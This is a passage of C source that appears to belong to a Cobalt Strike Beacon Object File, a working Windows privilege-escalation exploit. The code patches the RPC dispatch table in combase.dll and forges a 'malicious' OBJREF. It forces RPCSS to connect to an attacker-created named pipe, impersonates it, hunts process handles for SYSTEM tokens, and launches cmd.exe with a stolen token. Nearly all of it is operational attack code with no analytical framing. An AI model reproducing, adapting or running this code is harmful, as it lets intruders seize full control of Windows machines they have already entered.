BeaconPrintf(CALLBACK_ERROR, "[!] Failed to get combase.dll size from PE header\n");
return -1;
}
LOGI( "[*] combase.dll base: %p size: %llu\n", combase_base, (unsigned long long)combase_size);
content = (unsigned char*)combase_base;
off = sunday_search(content, combase_size, orcb_guid, 16);
if (off < 4) {
BeaconPrintf(CALLBACK_ERROR, "[!] ORCB GUID not found in combase.dll\n");
return -1;
}
off -= 4; /* back up to the Length field */
LOGI( "[*] ORCB interface found at offset 0x%x (Length=%lu)\n", off, *(ULONG*)(content + off));
rpc_if = (GOD_RPC_SERVER_INTERFACE*)(content + off);
dispatch_table_ptr = (void*)rpc_if->InterpreterInfo;
if (!dispatch_table_ptr) {
BeaconPrintf(CALLBACK_ERROR, "[!] InterpreterInfo is NULL\n");
return -1;
}
memcpy(&midl, rpc_if->InterpreterInfo, sizeof(midl));
dispatch_table_ptr = (void*)midl.DispatchTable;
if (!dispatch_table_ptr) {
BeaconPrintf(CALLBACK_ERROR, "[!] MIDL DispatchTable is NULL\n");
return -1;
}
memcpy(&rpc_dt, rpc_if->DispatchTable, sizeof(rpc_dt));
dt_ptr = (void**)dispatch_table_ptr;
use_protseq_ptr = dt_ptr[0];
if (!use_protseq_ptr) {
BeaconPrintf(CALLBACK_ERROR, "[!] UseProtseq function pointer is NULL\n");
return -1;
}
fmt_ptr = (short*)midl.FmtStringOffset;
if (!fmt_ptr) {
BeaconPrintf(CALLBACK_ERROR, "[!] FmtStringOffset is NULL\n");
return -1;
}
n = (int)rpc_dt.DispatchTableCount;
if (n < 1) {
BeaconPrintf(CALLBACK_ERROR, "[!] DispatchTableCount is %d\n", n);
return -1;
}
{
unsigned char* pstr = (unsigned char*)midl.ProcString;
unsigned proc_off = (unsigned)(unsigned short)fmt_ptr[0];
/* Ensure the byte we need is inside the mapped combase image */
if (pstr &&
(size_t)(pstr - (unsigned char*)combase_base) < combase_size &&
proc_off + 19 < combase_size - (size_t)(pstr - (unsigned char*)combase_base))
use_protseq_param_count = pstr[proc_off + 19];
else
use_protseq_param_count = 4; /* safe fallback */
}
if (use_protseq_param_count < 4 || use_protseq_param_count > 14) use_protseq_param_count = 4;
LOGI(
"[*] init_context: dispatch_count=%lu proc_fmt_off=%d param_count=%u\n",
(unsigned long)rpc_dt.DispatchTableCount, (int)fmt_ptr[0],
(unsigned)use_protseq_param_count);
return 0;
}
static void hook_rpc(void)
{
DWORD old = 0;
void* hook_fn = get_hook_func();
void* before = *(void**)dispatch_table_ptr;
if (!api.pVirtualProtect(dispatch_table_ptr, (SIZE_T)(PTR_SIZE * 1), PAGE_READWRITE, &old)) {
BeaconPrintf(CALLBACK_ERROR, "[!] VirtualProtect failed while installing hook\n");
return;
}
dispatch_table_old_protect = old;
*(void**)dispatch_table_ptr = hook_fn;
void* after = *(void**)dispatch_table_ptr;
hook_ptr_storage = use_protseq_ptr;
is_hook = 1;
LOGI(
"[*] hook_rpc: tbl=%p before=%p hook_fn=%p after=%p match=%d\n",
dispatch_table_ptr, before, hook_fn, after, (after == hook_fn));
}
static void restore_rpc(void)
{
if (is_hook && use_protseq_ptr) {
DWORD old;
if (api.pVirtualProtect(dispatch_table_ptr, (SIZE_T)PTR_SIZE, PAGE_READWRITE, &old)) {
*(void**)dispatch_table_ptr = use_protseq_ptr;
if (dispatch_table_old_protect)
api.pVirtualProtect(dispatch_table_ptr, (SIZE_T)PTR_SIZE, dispatch_table_old_protect, &old);
} else {
BeaconPrintf(CALLBACK_ERROR, "[!] restore_rpc: VirtualProtect failed, hook not removed\n");
}
}
is_hook = 0;
dispatch_table_old_protect = 0;
}
static void stop_pipe(void)
{
is_start = 0;
SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE };
HANDLE h = api.pCreateFileW(server_pipe, 0x80000000u | 0x40000000u, 3, &sa, 3, 0, NULL);
if (h != (HANDLE)-1 && h != NULL) {
char b = (char)0xaa;
DWORD w;
api.pReadFile(h, &b, 1, &w, NULL);
api.pCloseHandle(h);
}
}
static int token_is_system(HANDLE token)
{
DWORD token_user_len = 0;
void* token_user_buf = NULL;
PSID sid = NULL;
PUCHAR sub_count = NULL;
PDWORD pSub = NULL;
int is_system = 0;
if (!token) return 0;
api.pGetTokenInformation(token, GOD_TokenUser, NULL, 0, &token_user_len);
if (token_user_len == 0 || token_user_len > 0x1000)
return 0;
token_user_buf = api.pCoTaskMemAlloc(token_user_len);
if (!token_user_buf)
return 0;
if (!api.pGetTokenInformation(token, GOD_TokenUser, token_user_buf, token_user_len, &token_user_len)) {
api.pCoTaskMemFree(token_user_buf);
return 0;
}
sid = (PSID)(*(void**)token_user_buf);
sub_count = api.pGetSidSubAuthorityCount(sid);
if (sub_count && *sub_count == 1) {
pSub = (PDWORD)api.pGetSidSubAuthority(sid, 0);
if (pSub && *pSub == 18)
is_system = 1;
}
api.pCoTaskMemFree(token_user_buf);
return is_system;
}
#define BAD_HANDLE ((HANDLE)(LONG_PTR)-1)
static DWORD WINAPI pipe_server_thread(LPVOID unused)
{
SECURITY_ATTRIBUTES sa;
PSECURITY_DESCRIPTOR psd = NULL;
ULONG sd_size = 0;
HANDLE pipe_handle = BAD_HANDLE;
(void)unused;
sa.nLength = sizeof(sa);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
if (!api.pConvertStringSecurityDescriptorToSecurityDescriptorW(L"D:(A;OICI;GA;;;WD)", 1, &psd, &sd_size)) {
BeaconPrintf(CALLBACK_ERROR, "[!] ConvertStringSecurityDescriptorToSecurityDescriptorW failed\n");
return 1;
}
sa.lpSecurityDescriptor = psd;
pipe_handle = api.pCreateNamedPipeW(server_pipe, PIPE_ACCESS_DUPLEX | GOD_FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 521, 0, 123, &sa);
if (psd) {
api.pLocalFree((HLOCAL)psd);
psd = NULL;
}
if (pipe_handle == BAD_HANDLE || !pipe_handle) {
BeaconPrintf(CALLBACK_ERROR, "[!] CreateNamedPipe failed\n");
log_last_error_status("CreateNamedPipeW");
pipe_connected = -1;
return 1;
}
LOGK( "[*] CreateNamedPipe %ls\n", server_pipe);
OVERLAPPED ov = { 0 };
ov.hEvent = api.pCreateEventW(NULL, TRUE, FALSE, NULL);
if (!ov.hEvent) {
BeaconPrintf(CALLBACK_ERROR, "[!] CreateEventW failed\n");
api.pCloseHandle(pipe_handle);
pipe_connected = -1;
return 1;
}
if (!api.pConnectNamedPipe(pipe_handle, &ov)) {
DWORD err = api.pGetLastError();
LOGI( "[*] ConnectNamedPipe initial status=%lu (0x%08lx)\n",
(unsigned long)err, (unsigned long)err);
if (err == GOD_ERROR_IO_PENDING) {
if (api.pWaitForSingleObject(ov.hEvent, 15000) == GOD_WAIT_TIMEOUT) {
BeaconPrintf(CALLBACK_ERROR, "Named pipe timed out\n");
api.pCloseHandle(ov.hEvent);
api.pCloseHandle(pipe_handle);
pipe_connected = -1;
return 1;
}
} else if (err != GOD_ERROR_PIPE_CONNECTED) {
BeaconPrintf(CALLBACK_ERROR, "[!] ConnectNamedPipe fail\n");
BeaconPrintf(CALLBACK_ERROR, "[!] ConnectNamedPipe unexpected status=%lu (0x%08lx)\n",
(unsigned long)err, (unsigned long)err);
api.pCloseHandle(ov.hEvent);
api.pCloseHandle(pipe_handle);
pipe_connected = -1;
return 1;
}
}
api.pCloseHandle(ov.hEvent);
LOGK( "[*] Pipe Connected!\n");
pipe_connected = 1;
if (!api.pImpersonateNamedPipeClient(pipe_handle)) {
BeaconPrintf(CALLBACK_ERROR, "[!] ImpersonateNamedPipeClient fail\n");
log_last_error_status("ImpersonateNamedPipeClient");
api.pCloseHandle(pipe_handle);
return 1;
}
/* Prefer the impersonation token we just received from the named pipe client.
This avoids the much riskier global handle walk in a BOF context. */
{
HANDLE thread_token = NULL;
HANDLE primary = NULL;
if (api.pOpenThreadToken(api.pGetCurrentThread(), GOD_TOKEN_ELEVATION, FALSE, &thread_token)) {
LOGI( "[*] OpenThreadToken on pipe client succeeded\n");
if (token_is_system(thread_token) &&
api.pDuplicateTokenEx(thread_token, GOD_TOKEN_ELEVATION, NULL, GOD_TokenImpersonationLevel, GOD_TokenPrimary, &primary)) {
if (system_token) api.pCloseHandle(system_token);
system_token = primary;
LOGI( "[*] Captured impersonation token from pipe client\n");
api.pCloseHandle(thread_token);
api.pRevertToSelf();
api.pCloseHandle(pipe_handle);
return 0;
}
LOGI( "[*] Pipe client token was not SYSTEM, falling back to SYSTEM token search\n");
if (primary) api.pCloseHandle(primary);
api.pCloseHandle(thread_token);
} else {
BeaconPrintf(CALLBACK_ERROR, "[!] OpenThreadToken failed err=%lu\n",
(unsigned long)api.pGetLastError());
}
}
/* ListProcessTokens(-1) to find S-1-5-18 with ImpersonationLevel >= Impersonation and IntegrityLevel >= SystemIntegrity */
LOGI( "[*] Searching for SYSTEM token in process handles\n");
{
ULONG buf_size = 1024 * 1024;
void* buf = NULL;
ULONG ret_len = 0;
LONG status;
SYSTEM_HANDLE_INFORMATION_EX_HEADER* hdr;
size_t entry_size = sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX);
size_t header_size = sizeof(SYSTEM_HANDLE_INFORMATION_EX_HEADER);
HANDLE self = api.pGetCurrentProcess();
DWORD self_pid = api.pGetCurrentProcessId();
do {
if (buf) api.pCoTaskMemFree(buf);
buf = api.pCoTaskMemAlloc(buf_size);
if (!buf) break;
status = api.pNtQuerySystemInformation(SYSTEM_EXTENDED_HANDLE_INFO, buf, buf_size, &ret_len);
if (status != STATUS_INFO_LENGTH_MISMATCH) break;
buf_size *= 2;
} while (buf_size < 16 * 1024 * 1024);
if (status == 0 && buf) {
hdr = (SYSTEM_HANDLE_INFORMATION_EX_HEADER*)buf;
ULONG_PTR num_handles = (ULONG_PTR)hdr->NumberOfHandles;
HANDLE process_handle = NULL;
int last_pid = -1;
size_t idx;
for (idx = 0; idx < num_handles; idx++) {
SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX* ent = (SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX*)((char*)buf + header_size + idx * entry_size);
int pid = (int)(ULONG_PTR)ent->ProcessID;
HANDLE dup = NULL;
HANDLE token = NULL;
void* token_user_buf = NULL;
DWORD token_user_len = 0;
void* token_integrity_buf = NULL;
DWORD token_integrity_len = 0;
PSID sid = NULL;
DWORD sid_len;
PUCHAR sub_count;
DWORD sub_idx;
if (last_pid != pid) {
if (process_handle) { api.pCloseHandle(process_handle); process_handle = NULL; }
process_handle = api.pOpenProcess(GOD_DUPLICATE_HANDLE_ACCESS, FALSE, (DWORD)pid);
last_pid = pid;
}
if (!process_handle) continue;
if (token_type_index >= 0 && ent->ObjectType != (USHORT)token_type_index) continue;
if (api.pNtDuplicateObject(process_handle, (HANDLE)(ULONG_PTR)ent->HandleValue, self, &dup, GOD_TOKEN_ELEVATION, 0, 0) != STATUS_SUCCESS)
continue;
token = dup;
dup = NULL;
api.pGetTokenInformation(token, GOD_TokenUser, NULL, 0, &token_user_len);
if (token_user_len == 0 || token_user_len > 0x1000) {
api.pCloseHandle(token);
continue;
}
token_user_buf = api.pCoTaskMemAlloc(token_user_len);
if (!token_user_buf) { api.pCloseHandle(token); continue; }
if (!api.pGetTokenInformation(token, GOD_TokenUser, token_user_buf, token_user_len, &token_user_len)) {
api.pCoTaskMemFree(token_user_buf); api.pCloseHandle(token);
continue;
}
sid = (PSID)(*(void**)token_user_buf);
sub_count = api.pGetSidSubAuthorityCount(sid);
if (!sub_count || *sub_count != 1) {
api.pCoTaskMemFree(token_user_buf); api.pCloseHandle(token);
continue;
}
/* Check SID is 1-5-18 */
{
PDWORD pSub = (PDWORD)api.pGetSidSubAuthority(sid, 0);
if (!pSub || *pSub != 18) {
api.pCoTaskMemFree(token_user_buf); api.pCloseHandle(token);
continue;
}
}
/* IntegrityLevel >= SystemIntegrity (0x4000) */
{
DWORD il_len = 0;
void* il_buf = NULL;
api.pGetTokenInformation(token, GOD_TokenIntegrityLevel, NULL, 0, &il_len);
if (il_len > 0 && il_len <= 256) {
il_buf = api.pCoTaskMemAlloc(il_len);
if (il_buf && api.pGetTokenInformation(token, GOD_TokenIntegrityLevel, il_buf, il_len, &il_len)) {
PSID il_sid = (PSID)(*(void**)il_buf); /* SID_AND_ATTRIBUTES.Label.Sid */
PUCHAR il_count = api.pGetSidSubAuthorityCount(il_sid);
if (il_count && *il_count >= 1) {
PDWORD il_rid = (PDWORD)api.pGetSidSubAuthority(il_sid, (DWORD)(*il_count - 1));
if (!il_rid || *il_rid < GOD_SystemIntegrityRid) {
api.pCoTaskMemFree(il_buf); api.pCoTaskMemFree(token_user_buf);
api.pCloseHandle(token);
continue;
}
}
}
if (il_buf) api.pCoTaskMemFree(il_buf);
}
}
/* Found SYSTEM token; duplicate as primary for CreateProcess */
{
HANDLE primary = NULL;
if (api.pDuplicateTokenEx(token, GOD_TOKEN_ELEVATION, NULL, GOD_TokenImpersonationLevel, GOD_TokenPrimary, &primary)) {
if (system_token) api.pCloseHandle(system_token);
system_token = primary;
LOGK( "[*] Find System Token PID:%u\n", (unsigned)pid);
api.pCoTaskMemFree(token_user_buf);
api.pCloseHandle(token);
if (process_handle) api.pCloseHandle(process_handle);
api.pCoTaskMemFree(buf);
api.pRevertToSelf();
api.pCloseHandle(pipe_handle);
return 0;
}
}
api.pCoTaskMemFree(token_user_buf);
api.pCloseHandle(token);
if (dup) api.pCloseHandle(dup);
}
if (process_handle) api.pCloseHandle(process_handle);
}
if (buf) api.pCoTaskMemFree(buf);
}
BeaconPrintf(CALLBACK_ERROR, "[!] SYSTEM token search failed\n");
api.pRevertToSelf();
api.pCloseHandle(pipe_handle);
return 0;
}
/* Minimal IUnknown for CreateObjrefMoniker */
static ULONG WINAPI fake_AddRef(IUnknown* This) { return 1; }
static ULONG WINAPI fake_Release(IUnknown* This) { return 1; }
static HRESULT WINAPI fake_QueryInterface(IUnknown* This, REFIID riid, void** ppv) {
static const GUID IID_IUnknown_local = {0,0,0,{0xC0,0,0,0,0,0,0,0x46}};
if (IsEqualIID(riid, &IID_IUnknown_local)) {
*ppv = This;
return 0; /* S_OK */
}
*ppv = NULL;
return (HRESULT)0x80004002; /* E_NOINTERFACE */
}
/* Initialized at runtime to avoid BOF relocation issues with static fn-ptr inits */
static IUnknownVtbl fake_vtbl;
static IUnknown fake_unknown;
/* IStream over buffer for CoUnmarshalInterface */
typedef struct {
IStreamVtbl* vtbl;
unsigned char* data;
size_t size;
size_t pos;
} BufferStream;
static HRESULT WINAPI bufstream_QueryInterface(IStream* This, REFIID riid, void** ppv) {
if (IsEqualIID(riid, &IID_IUnknown) || IsEqualIID(riid, &IID_IStream)) { *ppv = This; return 0; }
*ppv = NULL; return -1;
}
static ULONG WINAPI bufstream_AddRef(IStream* This) { return 1; }
static ULONG WINAPI bufstream_Release(IStream* This) { return 1; }
static HRESULT WINAPI bufstream_Read(IStream* This, void* pv, ULONG cb, ULONG* pcbRead) {
BufferStream* s = (BufferStream*)This;
ULONG to_read = (cb < (ULONG)(s->size - s->pos)) ? cb : (ULONG)(s->size - s->pos);
if (to_read) memcpy(pv, s->data + s->pos, to_read);
s->pos += to_read;
if (pcbRead) *pcbRead = to_read;
return 0;
}
static HRESULT WINAPI bufstream_Seek(IStream* This, LARGE_INTEGER dlibMove, DWORD dwOrigin, ULARGE_INTEGER* plibNewPosition) {
BufferStream* s = (BufferStream*)This;
LONGLONG newpos = (LONGLONG)s->pos;
if (dwOrigin == 0) newpos = dlibMove.QuadPart;
else if (dwOrigin == 1) newpos += dlibMove.QuadPart;
else if (dwOrigin == 2) newpos = (LONGLONG)s->size + dlibMove.QuadPart;
if (newpos < 0) newpos = 0;
if (newpos > (LONGLONG)s->size) newpos = (LONGLONG)s->size;
s->pos = (size_t)newpos;
if (plibNewPosition) plibNewPosition->QuadPart = (ULONGLONG)s->pos;
return 0;
}
static HRESULT WINAPI bufstream_Stat(IStream* This, STATSTG* pstatstg, DWORD grfStatFlag) {
BufferStream* s = (BufferStream*)This;
memset(pstatstg, 0, sizeof(*pstatstg));
pstatstg->cbSize.QuadPart = (ULONGLONG)s->size;
return 0;
}
static HRESULT WINAPI bufstream_Clone(IStream* This, IStream** ppstm) { return -1; }
static HRESULT WINAPI bufstream_CopyTo(IStream* This, IStream* pstm, ULARGE_INTEGER cb, ULARGE_INTEGER* pcbRead, ULARGE_INTEGER* pcbWritten) { return -1; }
static HRESULT WINAPI bufstream_Commit(IStream* This, DWORD grfCommitFlags) { return 0; }
static HRESULT WINAPI bufstream_Revert(IStream* This) { return -1; }
static HRESULT WINAPI bufstream_LockRegion(IStream* This, ULARGE_INTEGER libOffset, ULARGE_INTEGER cb, DWORD dwLockType) { return -1; }
static HRESULT WINAPI bufstream_UnlockRegion(IStream* This, ULARGE_INTEGER libOffset, ULARGE_INTEGER cb, DWORD dwLockType) { return -1; }
static HRESULT WINAPI bufstream_SetSize(IStream* This, ULARGE_INTEGER libNewSize) { return -1; }
static HRESULT WINAPI bufstream_Write(IStream* This, const void* pv, ULONG cb, ULONG* pcbWritten) { return -1; }
/* Initialized at runtime to avoid BOF relocation issues with static fn-ptr inits */
static IStreamVtbl bufstream_vtbl;
/* Base64 decode — handles padding, whitespace, and rejects all other non-alphabet chars */
static int b64_char_val(unsigned char c)
{
if (c >= 'A' && c <= 'Z') return c - 'A';
if (c >= 'a' && c <= 'z') return c - 'a' + 26;
if (c >= '0' && c <= '9') return c - '0' + 52;
if (c == '+') return 62;
if (c == '/') return 63;
return -1;
}
static size_t b64_decode(const char* in, unsigned char* out, size_t out_max)
{
size_t n = 0;
int acc = 0, bits = 0, v;
unsigned char c;
while ((c = (unsigned char)*in++) != '\0') {
if (c == '=') break;
if (c == ' ' || c == '\t' || c == '\r' || c == '\n') continue;
v = b64_char_val(c);
if (v < 0) continue;
acc = (acc << 6) | v;
bits += 6;
if (bits >= 8) {
bits -= 8;
if (n < out_max) out[n++] = (unsigned char)(acc >> bits);
}
}
return n;
}
/* ObjRef parse: read Flags, PublicRefs, OXID, OID, IPID from STDOBJREF */
static void objref_parse_standard(const unsigned char* p, size_t len, ULONG* flags, ULONG* public_refs, ULONGLONG* oxid, ULONGLONG* oid, unsigned char* ipid)
{
if (len < 8+8+16) return;
if (flags) *flags = *(ULONG*)(p + 0);
if (public_refs) *public_refs = *(ULONG*)(p + 4);
if (oxid) *oxid = *(ULONGLONG*)(p + 8);
if (oid) *oid = *(ULONGLONG*)(p + 16);
if (ipid) memcpy(ipid, p + 24, 16);
}
/* Build malicious ObjRef (IID_IUnknown, Standard with DualStringArray: EPM_PROTOCOL_TCP "127.0.0.1", Security 0xa 0xffff null) */
static size_t build_objref(unsigned char* out, size_t out_max, ULONG flags, ULONG public_refs, ULONGLONG oxid, ULONGLONG oid, const unsigned char* ipid)
{
/* StringBinding: TowerID 0x0007, "127.0.0.1\0\0" (Unicode) */
/* SecurityBinding: 0x000a, 0xffff, "\0\0" */
static const WCHAR binding[] = L"127.0.0.1";
size_t sb_len = 2 + sizeof(binding) + sizeof(WCHAR); /* towerid + string\0 + extra \0 */
size_t sec_len = 2 + 2 + 4; /* AuthnSvc, AuthzSvc, null null */
size_t dual_len = (sb_len + sec_len) / 2;
unsigned char* p = out;
static const unsigned char IID_IUnknown[16] = {0,0,0,0,0,0,0,0,0xc0,0,0,0,0,0,0,0x46};
if (out_max < 4+4+16 + 4+4+8+8+16 + 2+2+sb_len+sec_len) return 0;
*(ULONG*)(p) = OBJREF_SIGNATURE; p += 4;
*(ULONG*)(p) = 1; p += 4;
memcpy(p, IID_IUnknown, 16); p += 16;
*(ULONG*)(p) = flags; p += 4;
*(ULONG*)(p) = public_refs; p += 4;
*(ULONGLONG*)(p) = oxid; p += 8;
*(ULONGLONG*)(p) = oid; p += 8;
memcpy(p, ipid, 16); p += 16;
*(USHORT*)(p) = (USHORT)dual_len; p += 2;
*(USHORT*)(p) = (USHORT)(sb_len/2); p += 2;
*(USHORT*)(p) = EPM_PROTOCOL_TCP; p += 2;
for (size_t i = 0; binding[i]; i++) { *(USHORT*)(p) = (USHORT)binding[i]; p += 2; }
*(USHORT*)(p) = 0; p += 2;
*(USHORT*)(p) = 0; p += 2;
*(USHORT*)(p) = 0x0a; p += 2;
*(USHORT*)(p) = 0xffff; p += 2;
*(USHORT*)(p) = 0; p += 2;
*(USHORT*)(p) = 0; p += 2;
return (size_t)(p - out);
}
/* Pre-built malicious objref — populated before hook is installed */
static unsigned char g_malicious_buf[512];
static size_t g_malicious_len = 0;
/* Phase 1: build the malicious OBJREF. Call BEFORE hook_rpc(). */
static int prepare_objref(void)
{
IBindCtx* pbc = NULL;
IMoniker* pmk = NULL;
WCHAR* display_name = NULL;
unsigned char objref_buf[512];
size_t objref_len;
ULONG std_flags = 0;
ULONG std_public_refs = 0;
ULONGLONG oxid, oid;
unsigned char ipid[16];
HRESULT hr;
LOGI( "[*] prepare: CreateBindCtx\n");
if (api.pCreateBindCtx(0, &pbc) != 0 || !pbc) {
BeaconPrintf(CALLBACK_ERROR, "[!] prepare: CreateBindCtx failed\n");
return -1;
}
LOGI( "[*] prepare: CreateObjrefMoniker\n");
if (api.pCreateObjrefMoniker((IUnknown*)&fake_unknown, &pmk) != 0 || !pmk) {
BeaconPrintf(CALLBACK_ERROR, "[!] prepare: CreateObjrefMoniker failed\n");
pbc->lpVtbl->Release(pbc);
return -1;
}
LOGI( "[*] prepare: GetDisplayName\n");
hr = pmk->lpVtbl->GetDisplayName(pmk, pbc, NULL, &display_name);
pmk->lpVtbl->Release(pmk);
pbc->lpVtbl->Release(pbc);
if (hr != 0 || !display_name) {
BeaconPrintf(CALLBACK_ERROR, "[!] prepare: GetDisplayName failed hr=0x%08x\n", (unsigned)hr);
return -1;
}
LOGI( "[*] prepare: decoding objref\n");
{
WCHAR* d = display_name;
while (*d == L'o' || *d == L'b' || *d == L'j' || *d == L'r' || *d == L'e' || *d == L'f' || *d == L':') d++;
char b64[384];
size_t j = 0;
while (j < 380 && *d) {
if (*d != L':') b64[j++] = (char)(*d & 0xff);
d++;
}
b64[j] = '\0';
objref_len = b64_decode(b64, objref_buf, sizeof(objref_buf));
api.pCoTaskMemFree(display_name);
}
if (objref_len < 4+4+16+4+4+8+8+16) {
BeaconPrintf(CALLBACK_ERROR, "[!] prepare: objref too short (%llu bytes)\n", (unsigned long long)objref_len);
return -1;
}
LOGI( "[*] prepare: building malicious objref\n");
objref_parse_standard(objref_buf + 4+4+16, objref_len - (4+4+16), &std_flags, &std_public_refs, &oxid, &oid, ipid);
LOGI( "[*] DCOM obj OXID: 0x%llx\n", (unsigned long long)oxid);
LOGI( "[*] DCOM obj OID: 0x%llx\n", (unsigned long long)oid);
LOGI( "[*] DCOM obj Flags: 0x%lx\n", (unsigned long)std_flags);
LOGI( "[*] DCOM obj PublicRefs: 0x%lx\n", (unsigned long)std_public_refs);
g_malicious_len = build_objref(g_malicious_buf, sizeof(g_malicious_buf), std_flags, std_public_refs, oxid, oid, ipid);
if (!g_malicious_len) {
BeaconPrintf(CALLBACK_ERROR, "[!] prepare: build_objref failed\n");
return -1;
}
LOGI( "[*] prepare: objref ready (%llu bytes)\n", (unsigned long long)g_malicious_len);
return 0;
}
static void trigger_fallback_unmarshal(void)
{
BufferStream stream_impl;
IStream* pstm = (IStream*)&stream_impl;
void* ppv = NULL;
HRESULT hr;
static const GUID IID_IUnknown = {0,0,0,{0xC0,0,0,0,0,0,0,0x46}};
if (pipe_connected || !g_malicious_len)
return;
LOGI( "[*] fire: fallback CoUnmarshalInterface (objref len=%llu)\n", (unsigned long long)g_malicious_len);
stream_impl.vtbl = &bufstream_vtbl;
stream_impl.data = g_malicious_buf;
stream_impl.size = g_malicious_len;
stream_impl.pos = 0;
hr = api.pCoUnmarshalInterface(pstm, (REFIID)&IID_IUnknown, &ppv);
LOGI( "[*] fire: CoUnmarshalInterface hr=0x%08x\n", (unsigned)hr);
if (FAILED(hr))
LOGI( "[*] fire: CoUnmarshalInterface failed with pipe_connected=%d\n",
pipe_connected);
if (ppv) {
((IUnknown*)ppv)->lpVtbl->Release((IUnknown*)ppv);
}
}
static void trigger_with_fallbacks(void)
{
trigger_fallback_unmarshal();
if (!pipe_connected)
LOGI( "[*] fire: no pipe connection after fallback attempt\n");
}
/* Minimal IClassFactory for CoRegisterClassObject trigger — vtable init'd at runtime */
typedef struct { IClassFactoryVtbl* lpVtbl; } FakeClassFactory;
static IClassFactoryVtbl fake_cf_vtbl;
static FakeClassFactory fake_cf;
static HRESULT WINAPI fake_cf_QueryInterface(IClassFactory* This, REFIID riid, void** ppv) {
static const GUID IID_IUnknown_cf = {0,0,0,{0xC0,0,0,0,0,0,0,0x46}};
static const GUID IID_IClassFactory = {0x00000001,0,0,{0xC0,0,0,0,0,0,0,0x46}};
if (IsEqualIID(riid, &IID_IUnknown_cf) || IsEqualIID(riid, &IID_IClassFactory)) { *ppv = This; return 0; }
*ppv = NULL; return (HRESULT)0x80004002;
}
static ULONG WINAPI fake_cf_AddRef(IClassFactory* This) { return 1; }
static ULONG WINAPI fake_cf_Release(IClassFactory* This) { return 1; }
static HRESULT WINAPI fake_cf_CreateInstance(IClassFactory* This, IUnknown* pOuter, REFIID riid, void** ppv) { *ppv = NULL; return (HRESULT)0x80004002; }
static HRESULT WINAPI fake_cf_LockServer(IClassFactory* This, BOOL fLock) { return 0; }
/* Phase 2: register a fake COM class to force RPCSS to call UseProtseq on our process.
Fallback to CoUnmarshalInterface if no pipe connection after that. */
static int fire_trigger(void)
{
DWORD cookie = 0;
HRESULT hr;
LOGI( "[*] fire: CoRegisterClassObject\n");
hr = api.pCoRegisterClassObject(
(REFCLSID)&trigger_clsid,
(IUnknown*)&fake_cf,
4, /* CLSCTX_LOCAL_SERVER */
1, /* REGCLS_MULTIPLEUSE */
&cookie);
LOGI( "[*] fire: CoRegisterClassObject hr=0x%08x cookie=%lu\n", (unsigned)hr, (unsigned long)cookie);
if (SUCCEEDED(hr) && cookie) {
api.pSleep(2000);
api.pCoRevokeClassObject(cookie);
LOGI( "[*] fire: CoRevokeClassObject done, pipe_connected=%d\n", pipe_connected);
}
trigger_with_fallbacks();
return 0;
}
/* Thread that registers our fake COM class then performs a native COM activation
against 127.0.0.1. RPCSS brokers the cross-process activation and must call
UseProtseq on OUR ORCB to configure the transport — that fires our hook. */
static DWORD WINAPI fire_trigger_thread(LPVOID unused)
{
static const GUID IID_IUnknown_local = {0,0,0,{0xC0,0,0,0,0,0,0,0x46}};
static WCHAR remote_server[] = L"127.0.0.1";
HRESULT hr;
DWORD cookie = 0;
COSERVERINFO server_info;
MULTI_QI qi;
(void)unused;
hr = api.pCoInitializeEx(NULL, 0);
log_hr_status("trigger thread: CoInitializeEx", hr);
if (SUCCEEDED(hr) || hr == (HRESULT)0x00000001) {
if (!g_malicious_len) {
if (prepare_objref() != 0)
BeaconPrintf(CALLBACK_ERROR, "[!] trigger thread: prepare_objref failed\n");
}
/* Register so RPCSS knows we are the server for this CLSID */
hr = api.pCoRegisterClassObject((REFCLSID)&trigger_clsid, (IUnknown*)&fake_cf,
4 /*CLSCTX_LOCAL_SERVER*/, 1 /*REGCLS_MULTIPLEUSE*/, &cookie);
LOGI( "[*] trigger thread: CoRegisterClassObject hr=0x%08x cookie=%lu clsid=%ls\n",
(unsigned)hr, (unsigned long)cookie, trigger_clsid_w);
if (SUCCEEDED(hr) && cookie) {
/* Native remote activation via RPCSS. This keeps the trigger in WinAPI
instead of shelling out to PowerShell. */
memset(&server_info, 0, sizeof(server_info));
server_info.pwszName = remote_server;
memset(&qi, 0, sizeof(qi));
qi.pIID = (IID*)&IID_IUnknown_local;
hr = api.pCoCreateInstanceEx((REFCLSID)&trigger_clsid, NULL,
CLSCTX_REMOTE_SERVER, &server_info, 1, &qi);
LOGI(
"[*] trigger thread: CoCreateInstanceEx hr=0x%08x qi.hr=0x%08x server=%ls\n",
(unsigned)hr, (unsigned)qi.hr, remote_server);
if (qi.pItf) {
((IUnknown*)qi.pItf)->lpVtbl->Release((IUnknown*)qi.pItf);
qi.pItf = NULL;
}
api.pSleep(5000); /* wait for RPCSS to broker activation and react */
LOGI( "[*] trigger thread: post-launch pipe_connected=%d\n",
pipe_connected);
trigger_with_fallbacks();
api.pCoRevokeClassObject(cookie);
} else {
trigger_with_fallbacks();
}
api.pCoUninitialize();
} else {
BeaconPrintf(CALLBACK_ERROR, "[!] trigger thread: CoInitializeEx failed hr=0x%08x, skipping trigger\n", (unsigned)hr);
}
LOGI( "[*] trigger thread: done, pipe_connected=%d\n", pipe_connected);
return 0;
}
/* Build lpCommandLine as: "<sysdir>\cmd.exe /c <cmd_ansi>"
Using the full path avoids PATH-lookup failures under alternate tokens.
lpApplicationName is left NULL so the full path in lpCommandLine resolves it directly. */
static void create_process_read_out(HANDLE token, const char* cmd_ansi, int cmd_ansi_len)
{
SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE };
HANDLE hRead = NULL, hWrite = NULL;
STARTUPINFOW si = {0};
PROCESS_INFORMATION pi = {0};
HANDLE primary = NULL;
WCHAR cmdline[2048];
UINT i = 0;
BOOL capture_output = TRUE;
/* Last-resort default — built from char literals (no .rodata dependency). */
char fallback_cmd[] = {'w','h','o','a','m','i','\0'};
if (!cmd_ansi || cmd_ansi_len <= 0 || (unsigned char)cmd_ansi[0] < 0x20) {
cmd_ansi = fallback_cmd;
cmd_ansi_len = 6;
}
/* Prepend "<sysdir>\cmd.exe /c " to the user command so the full executable
path is in lpCommandLine — no PATH lookup, works under any token. */
{
WCHAR sysdir[MAX_PATH];
